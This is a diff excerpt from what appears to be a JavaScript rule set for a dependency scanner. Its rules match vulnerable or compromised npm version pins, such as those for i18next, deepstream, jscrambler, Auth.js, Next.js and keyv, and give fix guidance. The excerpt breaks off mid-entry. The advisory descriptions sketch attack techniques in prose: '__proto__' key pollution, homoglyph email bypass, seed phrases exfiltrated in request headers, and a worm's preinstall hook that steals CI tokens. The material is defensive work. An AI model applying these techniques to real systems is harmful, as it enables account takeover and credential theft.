+        description: "Two i18next missing-key handlers are vulnerable to prototype pollution via crafted key strings. i18next-fs-backend before 2.6.6 (CVE-2026-48713 / GHSA-2933-q333-qg83), when persisting missing translation keys, writes attacker-supplied segments like '__proto__.polluted' onto Object.prototype. i18next-http-middleware before 3.9.7 (CVE-2026-48714 / GHSA-f49m-vf83-692w) blocks literal __proto__/constructor/prototype keys but not dotted variants, which downstream backends split on keySeparator and write to the prototype — remote prototype pollution wherever the missing-key handler accepts untrusted input. Fixed in 2.6.6 and 3.9.7 respectively. 0-FP semver: a caret range on the current major (^2 / ^3) and a tilde within the fixed minor resolve to the patched release, so only exact/= pins (and tilde/exact within the still-vulnerable lines, plus any range on an older major) are flagged.",
+        pattern: /["']i18next-fs-backend["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*[01]\.\d+\.\d+|(?:~|=)?\s*2\.[0-5]\.\d+|=?\s*2\.6\.[0-5](?![0-9]))["']|["']i18next-http-middleware["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*[0-2]\.\d+\.\d+|(?:~|=)?\s*3\.[0-8]\.\d+|=?\s*3\.9\.[0-6](?![0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade i18next-fs-backend to 2.6.6+ and i18next-http-middleware to 3.9.7+: npm install i18next-fs-backend@latest i18next-http-middleware@latest. As defence-in-depth, reject any incoming translation key whose segments include __proto__, constructor, or prototype before passing it to a missing-key handler.",
+        fixCode: '// package.json\n"i18next-fs-backend": "^2.6.6",  // or latest\n"i18next-http-middleware": "^3.9.7"  // or latest',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.1", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1098",
+        name: "deepstream Server Prototype Pollution (CVE-2026-49252 / GHSA-9v98-6g37-x9g6)",
+        severity: "critical",
+        owasp: "A03:2025 Injection",
+        description: "@deepstream/server versions before 10.0.5 are vulnerable to prototype pollution (CVSS 9.9). An authenticated client with write permissions can craft a record/RPC payload whose keys (e.g. __proto__) are merged onto Object.prototype, corrupting global object state across the realtime server — privilege escalation and denial of service. Fixed in 10.0.5. 0-FP semver: 10.0.5 is a patch within the 10.0 line, so a caret (^10.0.x) or tilde (~10.0.x) range resolves to the fixed release and is not flagged — only exact/= pins in 10.0.0–10.0.4 are. Older 0.x–9.x majors are flagged with any range since they never reach the fix.",
+        pattern: /["']@deepstream\/server["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*[0-9]\.\d+\.\d+|=?\s*10\.0\.[0-4](?![0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @deepstream/server to 10.0.5 or later: npm install @deepstream/server@latest. As defence-in-depth, freeze Object.prototype at startup (Object.freeze(Object.prototype)) and reject record keys named __proto__, constructor, or prototype before merging client payloads.",
+        fixCode: '// package.json\n"@deepstream/server": "^10.0.5"  // or latest\n\n// Defence-in-depth — block prototype writes at bootstrap\nObject.freeze(Object.prototype);',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.1", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1099",
+        name: "pnpm Lockfile/Manifest Path-Traversal & RCE Cluster (CVE-2026-55698 / -55487 / -50016, June 2026)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "pnpm before 10.34.2 (10.x line) and before 11.5.3 (11.x line) is affected by a June-2026 cluster of path-traversal and arbitrary-file-write/RCE advisories driven by attacker-controlled lockfiles and manifests: transitive dependency alias path traversal escaping the project root (CVE-2026-50016), manifest identity spoofing that satisfies allowBuilds and runs attacker lifecycle scripts (CVE-2026-55487), project env-lockfile short-circuiting package-manager resolution (CVE-2026-55698), reserved-bin-name deletion of PNPM_HOME (CVE-2026-55699), and malicious patch-file arbitrary write/delete (CVE-2026-50015), among others. A crafted pnpm-lock.yaml can overwrite arbitrary files on the install host — supply-chain RCE on developer and CI machines. This rule flags the Corepack `packageManager` pin (always an exact version), so a caret/tilde never applies: any pnpm@ below 10.34.2, or in the 11.0.0–11.5.2 window, is flagged; 10.34.2+/11.5.3+ are clean (the brief recommends 10.34.4 / 11.8.0).",
+        pattern: /["']packageManager["']\s*:\s*["']pnpm@(?:[0-9]\.\d+\.\d+|10\.(?:[0-9]|[12]\d|3[0-3])\.\d+|10\.34\.[01](?![0-9])|11\.[0-4]\.\d+|11\.5\.[0-2](?![0-9]))(?:\+[^"']*)?["']/g,
+        languages: ["json"],
+        fix: "Upgrade pnpm to 10.34.4+ (10.x) or 11.8.0+ (11.x): update the packageManager field and run `corepack use pnpm@latest`. Until then, treat untrusted pnpm-lock.yaml / patch files as hostile and review dependency aliases for ../, absolute paths, or reserved names (.bin, .pnpm) before install.",
+        fixCode: '// package.json — Corepack pin to a patched pnpm\n"packageManager": "pnpm@11.8.0"  // or "pnpm@10.34.4" for the 10.x line',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.3.2"],
+    },
+    {
+        id: "VG1100",
+        name: "jscrambler Compromised Releases (Supply Chain Attack July 2026)",
+        severity: "critical",
+        owasp: "A03:2025 Software Supply Chain Failures",
+        description: "jscrambler versions 8.14.0, 8.16.0, 8.17.0, 8.18.0 and 8.20.0 were published on 11 July 2026 via a compromised npm publishing credential. 8.14.0/8.16.0/8.17.0 run a Rust infostealer from an undocumented preinstall hook (dist/setup.js); 8.18.0/8.20.0 drop the install hook and instead inject the identical dropper as a self-executing function at the top of dist/index.js and dist/bin/jscrambler.js, so it fires on import or CLI run rather than at install. The payload targets cloud credentials, CI tokens, browser sessions, crypto wallets, Bitwarden vaults, and AI coding tool configs (Claude Desktop, Cursor). Only the core jscrambler package was hit — the webpack/gulp/Metro/grunt plugins stayed clean. Any lockfile or exact pin resolving to these versions is actively compromised; ranges are flagged too because installs during the attack window may have resolved to them.",
+        pattern: /["']jscrambler["']\s*:\s*["'](?:\^|~|>=?)?\s*8\.(?:14|16|17|18|20)\.0["']/g,
+        languages: ["json"],
+        fix: "Upgrade jscrambler to 8.22.0+ (first confirmed-clean release; 8.13.0 is the safe pre-compromise fallback). Verify the lockfile does not resolve to a malicious version, then rotate ALL secrets reachable from the affected machine: cloud credentials, CI tokens, npm tokens, browser sessions, crypto wallet keys, and AI tool API keys.",
+        fixCode: '// COMPROMISED — remove immediately:\n// "jscrambler": "8.14.0"  ← preinstall infostealer\n// "jscrambler": "8.18.0"  ← import-time infostealer\n\n// Safe:\n"jscrambler": "^8.22.0"  // or pin the pre-compromise 8.13.0\n\n// Post-incident: rotate cloud/CI/npm tokens, wallets, AI tool keys',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.5.10"],
+    },
+    {
+        id: "VG1101",
+        name: "@injectivelabs/sdk-ts Wallet-Key Backdoor (Supply Chain Attack July 2026)",
+        severity: "critical",
+        owasp: "A03:2025 Software Supply Chain Failures",
+        description: "@injectivelabs/sdk-ts version 1.20.21, published 8 July 2026 from a compromised Injective Labs GitHub account, hooks the key-derivation entry points PrivateKey.fromMnemonic() and PrivateKey.fromHex() and exfiltrates raw BIP-39 seed phrases and private keys base64-encoded inside the X-Request-Id header of fake-telemetry HTTP requests. The version was live ~49 minutes and downloaded 310 times before deprecation; 17 sibling Injective packages linked to it transitively. Any project resolving to 1.20.21 must treat every key or mnemonic that passed through the package as compromised.",
+        pattern: /["']@injectivelabs\/sdk-ts["']\s*:\s*["'](?:\^|~|>=?)?\s*1\.20\.21["']/g,
+        languages: ["json"],
+        fix: "Upgrade @injectivelabs/sdk-ts to 1.20.23 or later (1.20.22 was skipped; 1.20.23 is the confirmed-clean release): npm install @injectivelabs/sdk-ts@latest. Rotate every private key and seed phrase loaded while the malicious version was installed, and audit transitive dependencies for pins to 1.20.21.",
+        fixCode: '// COMPROMISED — remove immediately:\n// "@injectivelabs/sdk-ts": "1.20.21"  ← wallet-key stealer\n\n// Safe:\n"@injectivelabs/sdk-ts": "^1.20.23"  // or latest\n\n// Post-incident: rotate ALL keys/mnemonics used with the SDK',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.5.10"],
+    },
+    {
+        id: "VG1102",
+        name: "n8n-mcp Multi-Tenant Cross-Tenant Access (CVE-2026-54052 / GHSA-j6r7-6fhx-77wx)",
+        severity: "critical",
+        owasp: "A01:2025 Broken Access Control",
+        description: "n8n-mcp versions through 2.56.0 fail to isolate workflow version backups between tenants in multi-tenant HTTP deployments (ENABLE_MULTI_TENANT=true): an authenticated user from one tenant can read, delete, or destroy workflow snapshots belonging to other tenants. Snapshots contain full node definitions, so credential references and authorization headers leak across the tenant boundary. Single-user/stdio and single-tenant HTTP deployments are unaffected, but the flagged version-space is identical either way — upgrade closes the gap. Fixed in 2.56.1 with per-instance isolation and a one-time migration. 0-FP semver: a caret range on 2.x and a tilde within 2.56 resolve to the fixed 2.56.1, so only exact/= pins (and tilde/exact within 2.0–2.55, plus any range on 0.x/1.x) are flagged.",
+        pattern: /["']n8n-mcp["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*[01]\.\d+\.\d+|(?:~|=)?\s*2\.(?:[0-9]|[1-4]\d|5[0-5])\.\d+|=?\s*2\.56\.0(?![0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade n8n-mcp to 2.56.1 or later: npm install n8n-mcp@latest (the upgrade runs a one-time migration that isolates stored version history per instance). If running multi-tenant HTTP, audit workflow snapshot access logs for cross-tenant reads before the upgrade.",
+        fixCode: '// package.json\n"n8n-mcp": "^2.56.1"  // or latest',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1103",
+        name: "Auth.js v5 Beta Fail-Open Auth Bypass + Homoglyph Email Bypass (GHSA-8fpg-xm3f-6cx3 / GHSA-7rqj-j65f-68wh)",
+        severity: "critical",
+        owasp: "A07:2025 Authentication Failures",
+        description: "next-auth 5.0.0-beta.0 through 5.0.0-beta.31 is affected by two critical advisories fixed together in 5.0.0-beta.32 (CVSS 9.1 each, disclosed 2026-07-23). Fail-open authorization bypass (GHSA-8fpg-xm3f-6cx3, CWE-636): when Auth.js hits a server-side configuration error (missing provider config, unset AUTH_SECRET), the auth object is populated with a truthy error payload instead of null, so existence checks like `if (req.auth)` grant access to EVERY request — the app fails open when the auth layer is broken. Homoglyph email bypass (GHSA-7rqj-j65f-68wh): email addresses are validated before Unicode NFKC normalization, so a homoglyph that normalizes to '@' becomes a second '@' after mail-library normalization, routing magic links to an attacker mailbox — account takeover without victim interaction. 0-FP semver: caret/tilde prerelease ranges (^/~5.0.0-beta.x) resolve to the fixed beta.32, so only exact/= beta pins (the common form for betas) are flagged.",
+        pattern: /["']next-auth["']\s*:\s*["']=?\s*5\.0\.0-beta\.(?:[0-9]|[12]\d|3[01])(?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade next-auth to 5.0.0-beta.32 or later: npm install next-auth@beta. As defence-in-depth, never gate on bare object existence — check a concrete session property (req.auth?.user) so a fail-open error payload can never pass an auth check.",
+        fixCode: '// package.json\n"next-auth": "5.0.0-beta.32"  // or later beta / stable\n\n// Defence-in-depth — check a concrete property, not bare truthiness\n// BAD:  if (req.auth) { ... }\nif (req.auth?.user) { /* authenticated */ } else { return unauthorized(); }',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1104",
+        name: "Auth.js Homoglyph '@' Email Normalization Bypass — @auth/core & next-auth v4 (GHSA-7rqj-j65f-68wh)",
+        severity: "critical",
+        owasp: "A07:2025 Authentication Failures",
+        description: "@auth/core 0.1.0 through 0.41.2 and next-auth 4.10.3 through 4.24.14 validate email addresses BEFORE applying Unicode normalization (CVSS 9.1, disclosed 2026-07-23). An attacker registers an address containing a Unicode homoglyph that visually resembles and NFKC-normalizes to '@': it passes validation as a single-@ address, but mail libraries normalize it into a second '@', routing passwordless/magic-link sign-in emails to an attacker-controlled mailbox instead of the victim — account takeover without victim interaction. Fixed in @auth/core 0.41.3 and next-auth 4.24.15 (the v5 beta window is covered by VG1103, same fix beta.32 — no double-fire). 0-FP semver: @auth/core is on the 0.x line where caret/tilde pin the minor, so any range in 0.1–0.40 stays vulnerable and is flagged, and within 0.41 only exact/= 0.41.0–0.41.2; for next-auth a caret on 4.x resolves to 4.24.15+, so only tilde/exact pins in 4.10.3–4.23.x and exact/= 4.24.0–4.24.14 are flagged (4.10.0–4.10.2 predate the flaw and are excluded).",
+        pattern: /["']@auth\/core["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*0\.(?:[1-9]|[1-3]\d|40)\.\d+|=?\s*0\.41\.[0-2](?![0-9]))["']|["']next-auth["']\s*:\s*["'](?:(?:~|=)?\s*4\.10\.(?:[3-9]|[1-9]\d)(?![0-9])|(?:~|=)?\s*4\.(?:1[1-9]|2[0-3])\.\d+|=?\s*4\.24\.(?:[0-9]|1[0-4])(?![0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @auth/core to 0.41.3+ and next-auth to 4.24.15+ (or 5.0.0-beta.32+ on the beta line): npm install @auth/core@latest next-auth@latest. As defence-in-depth, NFKC-normalize email input BEFORE validation and reject any address containing more than one '@' after normalization.",
+        fixCode: '// package.json\n"@auth/core": "^0.41.3",  // or latest\n"next-auth": "^4.24.15"  // v4 line\n\n// Defence-in-depth — normalize BEFORE validating\nconst normalized = email.normalize("NFKC");\nif ((normalized.match(/@/g) ?? []).length !== 1) throw new Error("invalid email");',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1105",
+        name: "Next.js Server Actions / Rewrites SSRF Cluster July 2026 (CVE-2026-64649 / -64645 / -64642 / -64641)",
+        severity: "high",
+        owasp: "A10:2025 Server-Side Request Forgery",
+        description: "Next.js is affected by a 2026-07-22 advisory cluster fixed in 15.5.21 and 16.2.11: SSRF via Server Actions when the app does not enforce a trusted Host header — an attacker controlling Host-associated headers makes Server Actions send outbound requests to attacker hosts, primarily on self-hosted/custom-server deployments without upstream host pinning (CVE-2026-64649 / GHSA-89xv-2m56-2m9x, CVSS 8.3); SSRF/open-redirect via rewrites()/redirects() that build destination hostnames from user-controlled input (CVE-2026-64645, affects from 12.0.0); plus a middleware bypass (CVE-2026-64642) and Server Actions DoS (CVE-2026-64641) from the same wave. Versions below 15.5.18 are already flagged by VG1047 (the May-2026 cluster superset), so this rule covers exactly the residual windows that pin followed VG1047's advice into: exact/= pins 15.5.18–15.5.20 and 16.2.6–16.2.10. Caret/tilde ranges within 15.5/16.2 resolve to the fixed 15.5.21/16.2.11 and are not flagged.",
+        pattern: /["']next["']\s*:\s*["']=?\s*(?:15\.5\.(?:1[89]|20)|16\.2\.(?:[6-9]|10))(?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Next.js to 15.5.21+ or 16.2.11+: npm install next@latest. If you cannot upgrade and self-host, validate Host and X-Forwarded-Host at the proxy/edge layer or set __NEXT_PRIVATE_ORIGIN to the deployment's legitimate origin; never build rewrite/redirect destination hostnames from user input.",
+        fixCode: '// package.json\n"next": "^16.2.11"  // or "^15.5.21" for the 15.x line',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.5.10"],
+    },
+    {
+        id: "VG1106",
+        name: "PostCSS sourceMappingURL Arbitrary File Read (CVE-2026-45623 / GHSA-6g55-p6wh-862q)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "postcss versions through 8.5.11 process sourceMappingURL comments in CSS without path validation (CVSS 7.5, disclosed 2026-07-23): absolute paths, relative paths, and ../ traversal are all accepted, so an attacker who controls CSS input (CMS themes, user-uploaded styles, third-party packages in the build) can make the host process read any file readable by Node — leaking the first ~10 bytes through the JSON.parse SyntaxError message, probing file existence, or causing DoS via large/device files. Triggered by default, no special configuration needed. Fixed in 8.5.12. Versions below 8.5.10 are already flagged by VG1090 (the </style> stringify XSS pin), so this rule covers exactly the residual window that pin recommended into: exact/= pins of 8.5.10 and 8.5.11. Caret/tilde ranges within 8.x/8.5 resolve to the fixed 8.5.12 and are not flagged.",
+        pattern: /["']postcss["']\s*:\s*["']=?\s*8\.5\.1[01](?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade postcss to 8.5.12 or later: npm install postcss@latest. Treat any pipeline that feeds untrusted CSS into PostCSS as sensitive until upgraded; do not process user-supplied stylesheets with an older version.",
+        fixCode: '// package.json\n"postcss": "^8.5.12"  // or latest',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1107",
+        name: "@asyncapi/* Compromised Releases (Supply Chain Attack July 2026)",
+        severity: "critical",
+        owasp: "A03:2025 Software Supply Chain Failures",
+        description: "Five malicious versions across four @asyncapi packages (3M+ combined weekly downloads) were published on 14 July 2026 within ~90 minutes after the release bot's credentials were compromised through a publicly disclosed GitHub Actions 'pwn request' flaw in the project CI: @asyncapi/specs 6.11.2-alpha.1 and 6.11.2, @asyncapi/generator 3.3.1, @asyncapi/generator-components 0.7.1, and @asyncapi/generator-helpers 1.1.1. The payload executes at IMPORT time (not install), downloads a multi-stage botnet framework over IPFS, and installs a credential-stealing RAT targeting browser passwords, SSH keys, npm/GitHub tokens, cloud credentials, and crypto wallets, with worm-like propagation and multi-channel C2 (HTTP, Nostr, IPFS, BitTorrent, libp2p, Ethereum). All malicious versions were removed from npm, but any lockfile that resolved to them indicates an actively compromised environment; ranges are flagged too because installs during the attack window may have resolved to them.",
+        pattern: /["']@asyncapi\/specs["']\s*:\s*["'](?:\^|~|>=?)?\s*6\.11\.2(?:-alpha\.1)?(?![0-9-])["']|["']@asyncapi\/generator["']\s*:\s*["'](?:\^|~|>=?)?\s*3\.3\.1(?![0-9])["']|["']@asyncapi\/generator-components["']\s*:\s*["'](?:\^|~|>=?)?\s*0\.7\.1(?![0-9])["']|["']@asyncapi\/generator-helpers["']\s*:\s*["'](?:\^|~|>=?)?\s*1\.1\.1(?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Regenerate the lockfile against current registry state (malicious versions are unpublished), upgrade to the latest clean releases, and if a malicious version was ever installed treat the machine as compromised: rotate browser-stored passwords, SSH keys, npm/GitHub tokens, cloud credentials, and move crypto wallets. Add --ignore-scripts / provenance checks in CI (see VG1070).",
+        fixCode: '// COMPROMISED — any lockfile resolution to these is an incident:\n// "@asyncapi/specs": "6.11.2" / "6.11.2-alpha.1"\n// "@asyncapi/generator": "3.3.1"\n// "@asyncapi/generator-components": "0.7.1"\n// "@asyncapi/generator-helpers": "1.1.1"\n\n// Safe — regenerate lockfile, pin current clean releases\n// Post-incident: rotate SSH/npm/GitHub/cloud credentials, move wallets',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.5.10"],
+    },
+    {
+        id: "VG1108",
+        name: "Clerk Next.js 5.x Middleware Route Protection Bypass (CVE-2026-41248 / GHSA-vqx2-fgx2-5wq9)",
+        severity: "critical",
+        owasp: "A01:2025 Broken Access Control",
+        description: "@clerk/nextjs versions 5.0.0 through 5.7.5 are vulnerable to the createRouteMatcher middleware route-protection bypass (CVE-2026-41248, CVSS 9.1): crafted requests trick the matcher into mis-validating a route, skipping middleware gating and reaching protected downstream handlers without authentication. Fixed in the 5.x backport 5.7.6. This rule fills the 5.x version-space: the 1.x/2.x windows are VG925, the 4.x auth()/getAuth() IDOR is VG1096, and the 6.x/7.x windows are inside VG1045's flagged space — none of them cover 5.x. 0-FP semver: a caret on 5.x and a tilde within 5.7 resolve to the fixed 5.7.6, so only tilde/exact pins in 5.0–5.6 and exact/= pins 5.7.0–5.7.5 are flagged.",
+        pattern: /["']@clerk\/nextjs["']\s*:\s*["'](?:(?:~|=)?\s*5\.[0-6]\.\d+|=?\s*5\.7\.[0-5](?![0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @clerk/nextjs to 5.7.6 or later (or migrate to the current 6.x/7.x line): npm install @clerk/nextjs@latest. As defence-in-depth, re-verify auth inside protected route handlers rather than relying solely on middleware gating.",
+        fixCode: '// package.json\n"@clerk/nextjs": "^5.7.6"  // legacy 5.x; prefer migrating to ^6 / ^7\n\n// Defence-in-depth — verify auth in the handler too\nimport { auth } from "@clerk/nextjs/server";\nexport async function GET() {\n  const { userId } = await auth();\n  if (!userId) return new Response("Unauthorized", { status: 401 });\n}',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1109",
+        name: "crypto-js WordArray.random() Insufficient Entropy (CVE-2026-71851 / GHSA-rg76-677x-56q9)",
+        severity: "critical",
+        owasp: "A02:2025 Cryptographic Failures",
+        description: "crypto-js before 4.0.0 seeds CryptoJS.lib.WordArray.random() with a custom Multiply-With-Carry PRNG derived from Math.random() instead of a CSPRNG (disclosed 2026-08-05, CVSS 9.0). Requesting 128 or 256 bits of 'entropy' actually yields an effective search space of roughly 2^39 and 2^47 respectively — brute-forceable. Downstream wallet and key-generation code that calls WordArray.random() for private keys or secrets is directly exploitable: attackers already drained $5.7M+ from crypto wallets across two waves in May–July 2026 by recovering keys generated this way. This is a distinct, higher-severity issue than the general unmaintained-package concern in VG911 — VG911 flags every crypto-js pin regardless of version; this rule isolates the vulnerable <4.0.0 window specifically for the entropy CVE.",
+        pattern: /["']crypto-js["']\s*:\s*["'](?:\^|~|>=?)?\s*[0-3]\.\d+\.\d+["']/g,
+        languages: ["json"],
+        fix: "Upgrade crypto-js to 4.0.0 or later: npm install crypto-js@latest. Never use CryptoJS.lib.WordArray.random() (any version) for private keys, wallet seeds, tokens, or other security-critical secrets — use Node's built-in crypto.randomBytes() or the Web Crypto API's crypto.getRandomValues() instead.",
+        fixCode: '// package.json\n"crypto-js": "^4.2.0"  // or latest\n\n// For secrets/keys, do not rely on crypto-js RNG at all\nimport { randomBytes } from "node:crypto";\nconst secret = randomBytes(32).toString("hex");',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "PCI-DSS:Req3.6"],
+    },
+    {
+        id: "VG1110",
+        name: "jsii-diff OS Command Injection via npm Package Argument (CVE-2026-15895 / GHSA-wcx4-wpfv-mc5c)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "jsii-diff (the AWS jsii CLI assembly-comparison tool) before 1.131.0 passes its npm: package argument into a shell command without sanitization (CWE-78). A crafted package specifier — as used in jsii-diff invocations inside CI pipelines, changelog/API-diff generation scripts, or automated CDK construct publishing workflows — achieves arbitrary OS command execution on the CI runner.",
+        pattern: /["']jsii-diff["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.\d+\.\d+|1\.(?:[0-9]|[1-9][0-9]|1[0-2][0-9]|130)\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade jsii-diff to 1.131.0 or later: npm install jsii-diff@latest. Never pass user- or PR-controlled input directly as the npm: package argument to jsii-diff in CI; validate/allowlist package specifiers before invocation.",
+        fixCode: '// package.json\n"jsii-diff": "^1.131.0"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1111",
+        name: "keyv / cacheable ChainDrop Supply Chain Worm (Mini Shai-Hulud, August 2026)",
+        severity: "critical",
+        owasp: "A03:2025 Software Supply Chain Failures",
+        description: "On 2026-08-04, attackers compromised the GitHub account of the maintainer behind keyv, cacheable, cache-manager, cacheable-request, flat-cache, and file-entry-cache (the last two are ESLint dependencies), pushing malicious commits that triggered the maintainer's own CI to publish infected, validly-signed releases directly to npm ('ChainDrop', the latest Mini Shai-Hulud wave). Poisoned versions carry a preinstall hook (\"preinstall\": \"node setup.mjs\") that downloads a Bun runtime and runs an obfuscated payload (Math_Symbol.js) which dumps CI runner memory to steal npm/GitHub publishing tokens, then self-propagates by backdooring every other package the stolen token can publish. Trackers counted 400+ compromised packages (1,300+ versions) within a day, across a combined 1.3B+ monthly installs. Any lockfile resolving to a listed version indicates an actively compromised environment, not just an outdated dependency.",
+        pattern: /["']keyv["']\s*:\s*["'](?:\^|~|>=?)?\s*6\.0\.0(?![0-9])["']|["']cacheable["']\s*:\s*["'](?:\^|~|>=?)?\s*2\.5\.1(?![0-9])["']|["']@cacheable\/memory["']\s*:\s*["'](?:\^|~|>=?)?\s*2\.2\.1(?![0-9])["']|["']@cacheable\/node-cache["']\s*:\s*["'](?:\^|~|>=?)?\s*3\.1\.2(?![0-9])["']|["']@cacheable\/utils["']\s*:\s*["'](?:\^|~|>=?)?\s*2\.5\.1(?![0-9])["']|["']@cacheable\/net["']\s*:\s*["'](?:\^|~|>=?)?\s*2\.1\.1(?![0-9])["']|["']cache-manager["']\s*:\s*["'](?:\^|~|>=?)?\s*7\.2\.10(?![0-9])["']|["']cacheable-request["']\s*:\s*["'](?:\^|~|>=?)?\s*13\.0\.20(?![0-9])["']|["']flat-cache["']\s*:\s*["'](?:\^|~|>=?)?\s*6\.1\.24(?![0-9])["']|["']file-entry-cache["']\s*:\s*["'](?:\^|~|>=?)?\s*11\.1\.6(?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Regenerate the lockfile against current registry state (malicious versions were pulled/deprecated), and pin to a clean release above the poisoned version for each affected package. If any listed version was ever installed, treat the machine/CI runner as compromised: rotate npm and GitHub publishing tokens immediately, rotate any secrets accessible from that CI environment, and audit for unauthorized packages published under your org's npm account.",
+        fixCode: '// COMPROMISED — any lockfile resolution to these is an incident:\n// "keyv": "6.0.0"\n// "cacheable": "2.5.1", "@cacheable/memory": "2.2.1", "@cacheable/node-cache": "3.1.2"\n// "@cacheable/utils": "2.5.1", "@cacheable/net": "2.1.1"\n// "cache-manager": "7.2.10", "cacheable-request": "13.0.20"\n// "flat-cache": "6.1.24", "file-entry-cache": "11.1.6"\n\n// Post-incident: rotate npm/GitHub publishing tokens, regenerate lockfile, audit CI logs',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.5.10"],
+    },
+    {
+        id: "VG1112",
+        name: "react-server-dom-* / React2Shell RCE Residual Window (CVE-2025-55182 / CVE-2025-66478 / GHSA-9qr9-h5gf-34mp)",
+        severity: "critical",
+        owasp: "A08:2025 Software and Data Integrity Failures",
+        description: "react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack at exactly 19.0.0, 19.1.0, 19.1.1, or 19.2.0 carry the React Flight-protocol deserialization RCE (React2Shell, CVSS 10.0): an unauthenticated attacker sends a crafted request to any App Router endpoint and executes arbitrary code, no auth required. Fixed per-line in React 19.0.1/19.1.2/19.2.1. Next.js's downstream advisory for the same bug (CVE-2025-66478) is already fully covered by the combined range of VG1047 (next <15.5.18/<16.2.6) and VG1105 (residual 15.5.18-15.5.20/16.2.6-16.2.10) — every next pin below the 15.5.21/16.2.11 fix is already flagged, so this rule does not re-flag the next package. What neither VG920 (react package, capped at 19.0.0-19.1.0) nor any other rule matches is (a) the react-server-dom-* package names themselves, and (b) the react package's own residual versions 19.1.1 and 19.2.0. This rule closes exactly those two gaps.",
+        pattern: /["'](?:react-server-dom-webpack|react-server-dom-parcel|react-server-dom-turbopack)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:19\.0\.0|19\.1\.[01]|19\.2\.0)(?![0-9])["']|["']react["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:19\.1\.1|19\.2\.0)(?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade React to 19.0.1/19.1.2/19.2.1 (whichever line you're on) and any react-server-dom-webpack/parcel/turbopack package to match: npm install react@latest react-dom@latest. Vercel published an automated fixer for Next.js apps: npx fix-react2shell-next.",
+        fixCode: '// package.json — pin every react-server-dom-* package alongside react/react-dom\n"react": "^19.2.1",\n"react-dom": "^19.2.1",\n"react-server-dom-webpack": "^19.2.1"\n\n// Or run the official fixer for Next.js apps:\n// npx fix-react2shell-next',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1113",
+        name: "@trigger.dev/core Prototype Pollution → Cross-Tenant DoS (CVE-2026-73654 / GHSA-p28v-f755-9qrg)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "@trigger.dev/core 3.3.8 through 4.5.5 parses user-supplied run-metadata keys with @jsonhero/path without sanitization on the PUT /api/v1/runs/:runId/metadata endpoint. A low-privilege authenticated attacker can pollute the global Object.prototype, which then breaks Prisma ORM query validation and throws unhandled exceptions in the Prometheus metrics client — crashing the whole process, not just their own tenant's requests. Disclosed 2026-08-13. Fixed in 4.5.6.",
+        pattern: /["']@trigger\.dev\/core["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:3\.3\.(?:[89]|\d{2,})|3\.[4-9]\.\d+|3\.[1-9]\d\.\d+|4\.[0-4]\.\d+|4\.5\.[0-5])(?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade @trigger.dev/core to 4.5.6 or later: npm install @trigger.dev/core@latest. As defence-in-depth, freeze Object.prototype at process startup so a pollution primitive elsewhere cannot cascade: Object.freeze(Object.prototype).",
+        fixCode: '// package.json\n"@trigger.dev/core": "^4.5.6"  // or latest\n\n// Defence-in-depth — block prototype writes at bootstrap\nObject.freeze(Object.prototype);',
+        compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1114",
+        name: "Axios Prototype-Pollution Basic-Auth Header Injection Residual Window (GHSA-xj6q-8x83-jv6g)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
